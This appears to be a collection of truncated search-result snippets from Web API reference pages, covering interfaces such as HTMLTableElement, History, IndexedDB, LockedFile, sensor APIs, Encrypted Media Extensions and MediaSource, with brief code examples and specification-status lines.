specifications specification status comment html living standardthe definition of 'htmltablecolelement' in that specification.
... recommendation the span property is now an unsigned long.
HTMLTableElement.caption - Web APIs
syntax var string = tableelement.caption; example if (table.caption) { // do something with the caption } specifications specification status comment html living standardthe definition of 'htmltableelement.caption' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.caption' in that specification.
HTMLTableElement.tFoot - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.tfoot' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
} specifications specification status comment html living standardthe definition of 'htmltableelement.thead' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
HTMLTableRowElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablerowelement' in that specification.
... recommendation the parameter of insertcell is now optional and default to -1.
HTMLTableSectionElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltablesectionelement' in that specification.
... recommendation the parameter of insertcell is now optional.
HTMLTemplateElement.content - Web APIs
syntax var documentfragment = templateelement.content example var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... recommendation initial definition ...
HTMLTemplateElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltemplateelement interface' in that specification.
... recommendation initial definition ...
HTMLTextAreaElement.labels - Web APIs
xtarea id="test">some text</textarea> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const textarea = document.getelementbyid("test"); for(var i = 0; i < textarea.labels.length; i++) { console.log(textarea.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that specification.
... recommendation initial definition ...
HTMLTrackElement.src - Web APIs
example // coming soon specifications specification status comment html living standardthe definition of 'htmltrackelement.src' in that specification.
... recommendation initial definition.
HTMLTrackElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmltrackelement' in that specification.
... recommendation initial definition.
HTMLUListElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlulistelement' in that specification.
... recommendation the compact and type properties have been obsoleted.
HTMLUnknownElement - Web APIs
specifications specification status comment html living standardthe definition of 'htmlunknownelement' in that specification.
... recommendation initial definition.
HTMLVideoElement.videoHeight - Web APIs
specifications specification status comment html living standardthe definition of 'htmlvideoelement.videoheight' in that specification.
... recommendation initial definition.
HTMLVideoElement.videoWidth - Web APIs
specifications specification status comment html living standardthe definition of 'htmlvideoelement.videowidth' in that specification.
... recommendation initial definition.
HTMLVideoElement - Web APIs
htmlvideoelement.mszoom controls whether the video frame is trimmed to fit the video display.
... specifications specification status comment html living standardthe definition of 'htmlvideoelement' in that specification.
In depth: Microtasks and the JavaScript runtime environment - Web APIs
javascript execution contexts note: the details here are generally not important to most javascript programmers.
... there are specific circumstances in which this sharing of an event loop among windows with a common origin is possible, such as: if one window opened the other window, they are likely to be sharing an event loop.
Headers.delete() - Web APIs
WebAPIHeadersdelete
the value of guard is immutable.
...ar myheaders = new headers(); // currently empty you could add a header to this using headers.append: myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns 'image/jpeg' you can then delete it again: myheaders.delete('content-type'); myheaders.get('content-type'); // returns null, as it has been deleted specifications specification status comment fetchthe definition of 'delete()' in that specification.
History.back() - Web APIs
WebAPIHistoryback
html <button id="go-back">go back!</button> javascript document.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification.
... recommendation initial definition.
History.forward() - Web APIs
WebAPIHistoryforward
html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification.
... recommendation initial definition.
History.go() - Web APIs
WebAPIHistorygo
o move back one page (the equivalent of calling back()): history.go(-1) to move forward a page, just like calling forward(): history.go(1) to move forward two pages: history.go(2); to move backwards by two pages: history.go(-2); and, finally either of the following statements will reload the current page: history.go(); history.go(0); specifications specification status comment html living standardthe definition of 'history.go()' in that specification.
... recommendation initial definition.
History.length - Web APIs
WebAPIHistorylength
syntax const length = history.length specifications specification status comment html living standardthe definition of 'history.length' in that specification.
... recommendation initial definition.
History.pushState() - Web APIs
WebAPIHistorypushState
javascript const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status comment html living standardthe definition of 'history.pushstate()' in that specification.
... recommendation initial definition.
History.replaceState() - Web APIs
specifications specification status comment html living standardthe definition of 'history.replacestate()' in that specification.
... recommendation initial definition.
History.scrollRestoration - Web APIs
const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } prevent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html living standardthe definition of 'scroll restoration mode' in that specification.
... recommendation initial definition.
History.state - Web APIs
WebAPIHistorystate
console.log(`history.state after pushstate: ${history.state}`); specificationse specification status comment html living standardthe definition of 'history.state' in that specification.
... recommendation initial definition.
History - Web APIs
WebAPIHistory
specifications specification status comment html living standardthe definition of 'history' in that specification.
... recommendation initial definition.
History API - Web APIs
tle 2", "?page=2") history.replacestate({page: 3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back() // alerts "location: http://example.com/example.html, state: null" history.go(2) // alerts "location: http://example.com/example.html?page=3, state: {"page":3}" specifications specification status comment html living standardthe definition of 'history' in that specification.
... recommendation initial definition.
HkdfParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hkdfparams' in that specification.
... recommendation ...
HmacImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmacimportparams' in that specification.
... recommendation ...
HmacKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.hmackeygenparams' in that specification.
... recommendation ...
IDBCursor.continuePrimaryKey() - Web APIs
astprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status comment indexed database api draftthe definition of 'continueprimarykey()' in that specification.
... recommendation ...
IDBCursor.request - Web APIs
WebAPIIDBCursorrequest
f(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api draftthe definition of 'request' in that specification.
... recommendation initial definition.
IDBDatabase.onclose - Web APIs
example db.onclose = function(event) { myappshowalert('the database "' + db.name + '" has unexpectedly closed.'); }; specifications specification status comment indexed database api draftthe definition of 'onclose' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
databases - Web APIs
example const promise = indexeddb.databases() promise.then(databases => { console.log(databases) }) specifications specification status comment indexed database api draftthe definition of 'databases()' in that specification.
... recommendation initial definition.
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
>' + '<td>' + cursor.value.email + '</td>' + '<td>' + cursor.value.phone + '</td>' + '<td>' + cursor.value.age + '</td>'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'get()' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated from structured data.
IDBIndex.getAll() - Web APIs
WebAPIIDBIndexgetAll
example var myindex = objectstore.index('index'); var getallrequest = myindex.getall(); getallrequest.onsuccess = function() { console.log(getallrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
... recommendation initial definition.
FileHandle.getFile() - Web APIs
summary the getfile method allows to retrieve a read-only snapshot of the handled file in the form of a file object.
... specifications specification status comment filesystem api editor's draft draft proposal ...
FileHandle.name - Web APIs
summary provides the name of the file.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.onabort - Web APIs
summary specifies an event listener to receive abort events.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.onerror - Web APIs
summary specifies an event listener to receive error events.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileHandle.open() - Web APIs
summary the open method returns a lockedfile object that allows to safely write in the file.
... specifications specification status comment filesystem api editor's draft draft proposal ...
FileHandle.type - Web APIs
summary provides the mime type of the file.
... specifications specification status comment filesystem api editor's draft draft proposal.
IDBObjectStore.getAll() - Web APIs
specifications specification status comment indexed database api draftthe definition of 'getall()' in that specification.
... recommendation initial definition ...
IDBObjectStore.getAllKeys() - Web APIs
specifications specification status comment indexed database api draftthe definition of 'getallkeys()' in that specification.
... recommendation initial definition ...
IDBObjectStore.getKey() - Web APIs
gs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
IdleDeadline.timeRemaining() - Web APIs
if there isn't, the callback can just return immediately, or look for other work to do with the remaining time.
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation ...
ImageData - Web APIs
WebAPIImageData
note that this is the most common way to create such an object in workers as createimagedata() is not available there.
... specifications specification status comment html living standardthe definition of 'imagedata' in that specification.
install - Web APIs
summary installs one or more xpi files on the local machine.
...the { } constructor takes a comma-delimited set of label/value pairs.
Timing element visibility with the Intersection Observer API - Web APIs
it turns out that one of the most common uses of flash or other script in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of revenues.
... body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color.
KeyboardEvent.code - Web APIs
this property is useful when you want to handle keys based on their physical positions on the input device rather than the characters associated with those keys; this is especially common when writing code to handle input for games that simulate a gamepad-like environment using keys on the keyboard.
... specification specification status comment ui eventsthe definition of 'keyboardevent.code' in that specification.
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appcommand events.
... } // cancel the default action to avoid it being handled twice event.preventdefault(); }, true); specification specification status comment ui eventsthe definition of 'keyboardevent.key' in that specification.
KeyboardEvent.metaKey - Web APIs
note: on macintosh keyboards, this is the ⌘ command key.
... syntax var metakeypressed = instanceofkeyboardevent.metakey return value a boolean example function ismetakey(e) { alert("metakey = " + e.metakey); } <button onclick="ismetakey(event)">click me with the meta key</button> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.metakey' in that specification.
Keyboard API - Web APIs
the intended use of the keyboard api is by web applications such as games or remote access apps that provide a full-screen immersive experience.
... specifications specification status comment keyboard map editor's draft initial definition.
LinearAccelerationSensor.LinearAccelerationSensor() - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
LinearAccelerationSensor.x - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
LinearAccelerationSensor.y - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
LinearAccelerationSensor.z - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
LinearAccelerationSensor - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Location: assign() - Web APIs
WebAPILocationassign
example // navigate to the location.reload article window.location.assign('/docs/web/api/location/reload'); specifications specification status comment html living standardthe definition of 'location.assign()' in that specification.
... recommendation initial definition.
Location: reload() - Web APIs
WebAPILocationreload
syntax location.reload(); specifications specification status comment html living standardthe definition of 'location.reload()' in that specification.
... recommendation initial definition.
Location: replace() - Web APIs
WebAPILocationreplace
examples // navigate to the location.reload article by replacing this page window.location.replace('/docs/web/api/location.reload'); specifications specification status comment html living standardthe definition of 'location.replace()' in that specification.
... recommendation initial definition.
LockManager.request() - Web APIs
this shared/exclusive lock pattern is common in database transaction architecture, for example to allow multiple simultaneous readers (each requests a "shared" lock) but only one writer (a single "exclusive" lock).
... } } specifications specification status comment web locks apithe definition of 'request()' in that specification.
LockedFile.abort() - Web APIs
WebAPILockedFileabort
summary the abort method is used to release the lock on the lockedfile object, making it inactive: its active property is set to false and all ongoing operations are canceled.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.append() - Web APIs
WebAPILockedFileappend
summary the append method is used to write some data at the end of the file.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.fileHandle - Web APIs
summary the filehandle property gives access to the filehandle object that produced the lockedfile object.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.flush() - Web APIs
WebAPILockedFileflush
summary the flush method is used to ensure any change made to a file is properly written on disk.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.getMetadata() - Web APIs
summary the getmetadata method allows to retrieve some metadata about the locked file.
...they have the following format: size : a number lastmodified : a date object specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.location - Web APIs
summary the location property is a zero-based index representing the position of the read/write pointer within the file.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.mode - Web APIs
WebAPILockedFilemode
summary the mode property provides the read/write status of the lockedfile file.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.onabort - Web APIs
summary specifies an event listener to receive abort events.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.oncomplete - Web APIs
summary specifies an event listener to receive complete events.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.onerror - Web APIs
summary specifies an event listener to receive error events.
... specifications specification status comment filesystem api editor's draft draft proposal.
LockedFile.readAsArrayBuffer() - Web APIs
summary the readasarraybuffer method is used to read the content of the lockedfile object and provide the result of that reading as an arraybuffer.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.readAsText() - Web APIs
summary the readastext method is used to read the content of the lockedfile object and provide the result of that reading as a string.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.truncate() - Web APIs
summary the truncate method is used to remove some data within the file.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile.write() - Web APIs
WebAPILockedFilewrite
summary the write method is used to write some data within the file.
... specifications specification status comment filesystem api editor's draft draft proposal ...
LockedFile - Web APIs
summary the lockedfile interface provides tools to deal with a given file with all the necessary locks.
... specifications specification status comment filesystem api editor's draft draft proposal.
Long Tasks API - Web APIs
common examples include: long running event handlers.
... specifications specification status comment long tasks api 1 working draft initial definition.
Magnetometer.Magnetometer() - Web APIs
specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Magnetometer.x - Web APIs
WebAPIMagnetometerx
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Magnetometer.y - Web APIs
WebAPIMagnetometery
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Magnetometer.z - Web APIs
WebAPIMagnetometerz
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
Magnetometer - Web APIs
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
... candidate recommendation ...
MediaDeviceInfo.deviceId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo.groupId - Web APIs
specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo.kind - Web APIs
specifications specification status comment media capture and streamsthe definition of 'kind' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo.label - Web APIs
specifications specification status comment media capture and streamsthe definition of 'label' in that specification.
... candidate recommendation initial definition.
MediaDeviceInfo - Web APIs
or more media streams are active, or if persistent permissions have been granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and streamsthe definition of 'mediadevicesinfo' in that specification.
... candidate recommendation initial definition ...
MediaDevices.enumerateDevices() - Web APIs
or if one or more mediastreams are active or persistent permissions are granted: videoinput: facetime hd camera (built-in) id=cso9c0ypaf274oucpua53cne0yhlir2yxci+sqfbzz8= audioinput: default (built-in microphone) id=rkxxbyjnabbadgqnnzqlvldmxls0yketycibg+xxnvm= audioinput: built-in microphone id=r2/xw1xupiyzunfv1lgrkoma5wtovckwfz368xcndm0= specifications specification status comment media capture and streamsthe definition of 'mediadevices: enumeratedevices' in that specification.
... candidate recommendation initial definition.
MediaDevices.getSupportedConstraints() - Web APIs
ist"); let supportedconstraints = navigator.mediadevices.getsupportedconstraints(); for (let constraint in supportedconstraints) { if (supportedconstraints.hasownproperty(constraint)) { let elem = document.createelement("li"); elem.innerhtml = "<code>" + constraint + "</code>"; constraintlist.appendchild(elem); } } result specifications specification status comment media capture and streamsthe definition of 'getsupportedconstraints()' in that specification.
... candidate recommendation initial definition.
MediaDevices.ondevicechange - Web APIs
result specifications specification status comment media capture and streamsthe definition of 'ondevicechange' in that specification.
... candidate recommendation initial specification.
MediaDevices - Web APIs
amera and ' + 'microphone, you need to allow the page access to your devices in ' + 'order for the demo to work.'); } errormsg('getusermedia error: ' + error.name, error); }); function errormsg(msg, error) { errorelement.innerhtml += '<p>' + msg + '</p>'; if (typeof error !== 'undefined') { console.error(error); } } specifications specification status comment media capture and streamsthe definition of 'mediadevices' in that specification.
... candidate recommendation initial definition ...
MediaError - Web APIs
mediaerror.message a domstring object containing a human-readable string which provides specific diagnostic information to help the reader understand the error condition which occurred; specifically, it isn't simply a summary of what the error code means, but actual diagnostic information to help in understanding what exactly went wrong.
... specifications specification status comment html living standardthe definition of 'mediaerror' in that specification.
message - Web APIs
syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'message' in that specification.
... recommendation initial definition.
MediaKeyMessageEvent.messageType - Web APIs
syntax var messagetype = mediakeymessageevent.messagetype; specifications specification status comment encrypted media extensionsthe definition of 'messagetype' in that specification.
... recommendation initial definition ...
MediaKeyMessageEvent - Web APIs
examples // tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeymessageevent' in that specification.
... recommendation initial definition.
close() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'close()' in that specification.
... recommendation initial definition ...
MediaKeySession.closed - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'closed' in that specification.
... recommendation initial definition ...
expiration - Web APIs
syntax ​var expirationtime = mediakeysessionobj.expiration; specifications specification status comment encrypted media extensionsthe definition of 'expiration' in that specification.
... recommendation initial definition ...
generateRequest() - Web APIs
}); specifications specification status comment encrypted media extensionsthe definition of 'generaterequest()' in that specification.
... recommendation initial definition ...
keyStatuses - Web APIs
syntax var mediakeystatusmapobj = mediakeysessionobj.keystatuses; specifications specification status comment encrypted media extensionsthe definition of 'keystatuses' in that specification.
... recommendation initial definition ...
load() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'load()' in that specification.
... recommendation initial definition ...
MediaKeySession.onkeystatuseschange - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onkeystatuseschange' in that specification.
... recommendation initial definition.
MediaKeySession.onmessage - Web APIs
} specifications specification status comment encrypted media extensionsthe definition of 'onmessage' in that specification.
... recommendation initial definition.
remove() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'remove()' in that specification.
... recommendation initial definition ...
sessionId - Web APIs
syntax ​var sessionid = mediakeysessionobj.sessionid; specifications specification status comment encrypted media extensionsthe definition of 'sessionid' in that specification.
... recommendation initial definition ...
update() - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'update()' in that specification.
... recommendation initial definition ...
MediaKeySession - Web APIs
examples // tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeysession' in that specification.
... recommendation initial definition.
MediaKeyStatusMap.size - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'size' in that specification.
... recommendation initial definition.
MediaKeyStatusMap - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'mediakeystatusmap' in that specification.
... recommendation initial definition.
createMediaKeys() - Web APIs
syntax var mediakeys = await mediakeysystemaccess.createmediakeys(); specifications specification status comment encrypted media extensionsthe definition of 'createmediakeys()' in that specification.
... recommendation initial definition ...
getConfiguration() - Web APIs
syntax var mediakeysystemconfiguration = mediakeysystemaccess.getconfiguration(); specifications specification status comment encrypted media extensionsthe definition of 'getconfiguration()' in that specification.
... recommendation initial definition ...
keySystem - Web APIs
syntax var keysystem = mediakeysystemaccess.keysystem; specifications specification status comment encrypted media extensionsthe definition of 'keysystem' in that specification.
... recommendation initial definition ...
MediaKeySystemAccess - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemaccess' in that specification.
... recommendation initial definition.
audioCapabilities - Web APIs
syntax var audiocapabilities[ {contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.audiocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'audiocapabilities' in that specification.
... recommendation initial definition ...
distinctiveIdentifier - Web APIs
syntax var distinctiveidentifier = mediasystemconfiguration.distinctiveidentifier; specifications specification status comment encrypted media extensionsthe definition of 'distinctiveidentifier' in that specification.
... recommendation initial definition ...
initDataTypes - Web APIs
syntax var datatypes[] = mediasystemconfiguration.initdatatypes; specifications specification status comment encrypted media extensionsthe definition of 'initdatatypes' in that specification.
... recommendation initial definition ...
persistentState - Web APIs
syntax var persistentstate = mediasystemconfiguration.persistentstate; specifications specification status comment encrypted media extensionsthe definition of 'persistentstate' in that specification.
... recommendation initial definition ...
videoCapabilities - Web APIs
syntax var videocapabilities[{contenttype: 'contenttype', robustness:'robustness'}] = mediasystemconfiguration.videocapabilities; specifications specification status comment encrypted media extensionsthe definition of 'videocapabilities' in that specification.
... recommendation initial definition ...
MediaKeySystemConfiguration - Web APIs
specifications specification status comment encrypted media extensionsthe definition of 'mediakeysystemconfiguration' in that specification.
... recommendation initial definition ...
createSession() - Web APIs
syntax ​var mediakeysessionobject = mediakeys.createsession([mediakeysessiontype]); specifications specification status comment encrypted media extensionsthe definition of 'createsession()' in that specification.
... recommendation initial definition ...
setServerCertificate() - Web APIs
}); specifications specification status comment encrypted media extensionsthe definition of 'setservercertificate()' in that specification.
... recommendation initial definition ...
MediaKeys - Web APIs
WebAPIMediaKeys
examples //tbd specifications specification status comment encrypted media extensionsthe definition of 'mediakeys' in that specification.
... recommendation initial definition.
MediaList - Web APIs
WebAPIMediaList
note: medialist is a live list; updating the list using properties or methods listed below will immediately update the behavior of the document.
... const stylesheets = document.stylesheets; let stylesheet = stylesheets[0]; console.log(stylesheet.media.mediatext); specifications specification status comment css object model (cssom)the definition of 'medialist' in that specification.
MediaPositionState.duration - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... let positionstate = { duration: infinity; playbackrate: 1.0; position: 0.0; }; navigator.mediasession.setpositionstate(positionstate); specifications specification status comment media session standardthe definition of 'mediapositionstate.duration' in that specification.
MediaPositionState.playbackRate - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... specifications specification status comment media session standardthe definition of 'mediapositionstate.playbackrate' in that specification.
MediaPositionState.position - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... let positioninterval = window.setinterval(() => { if (mymedia.isplaying) { navigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediapositionstate.position' in that specification.
MediaRecorder.start() - Web APIs
exceptions errors that can be detected immediately are thrown as dom exceptions.
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.start()' in that specification.
MediaSessionActionDetails.action - Web APIs
skipad skips past the currently playing advertisement or commercial.
... specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.action' in that specification.
MediaSource.activeSourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'activesourcebuffers' in that specification.
... recommendation initial definition.
MediaSource.addSourceBuffer() - Web APIs
var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'addsourcebuffer()' in that specification.
... recommendation initial definition.
MediaSource.clearLiveSeekableRange() - Web APIs
return value undefined specifications specification status comment media source extensionsthe definition of 'clearliveseekablerange()' in that specification.
... recommendation initial definition.
MediaSource.duration - Web APIs
specifications specification status comment media source extensionsthe definition of 'duration' in that specification.
... recommendation initial definition.
MediaSource.isTypeSupported() - Web APIs
var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'istypesupported()' in that specification.
... recommendation initial definition.
MediaSource.readyState - Web APIs
var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specification status comment media source extensionsthe definition of 'readystate' in that specification.
... recommendation initial definition.
MediaSource.removeSourceBuffer() - Web APIs
examples for (i = 0; i < 10; i++) { var sourcebuffer = mediasource.addsourcebuffer(mimecodec); } mediasource.removesourcebuffer(mediasource.sourcebuffers[0]); specifications specification status comment media source extensionsthe definition of 'removesourcebuffer()' in that specification.
... recommendation initial definition.
MediaSource.setLiveSeekableRange() - Web APIs
return value undefined example // tbd specifications specification status comment media source extensionsthe definition of 'setliveseekablerange()' in that specification.
... recommendation initial definition.
MediaSource.sourceBuffers - Web APIs
specifications specification status comment media source extensionsthe definition of 'sourcebuffers' in that specification.
... recommendation initial definition.
MediaSource - Web APIs
); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
... recommendation initial definition.
MediaStream() - Web APIs
specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification.
... candidate recommendation ...
active - Web APIs
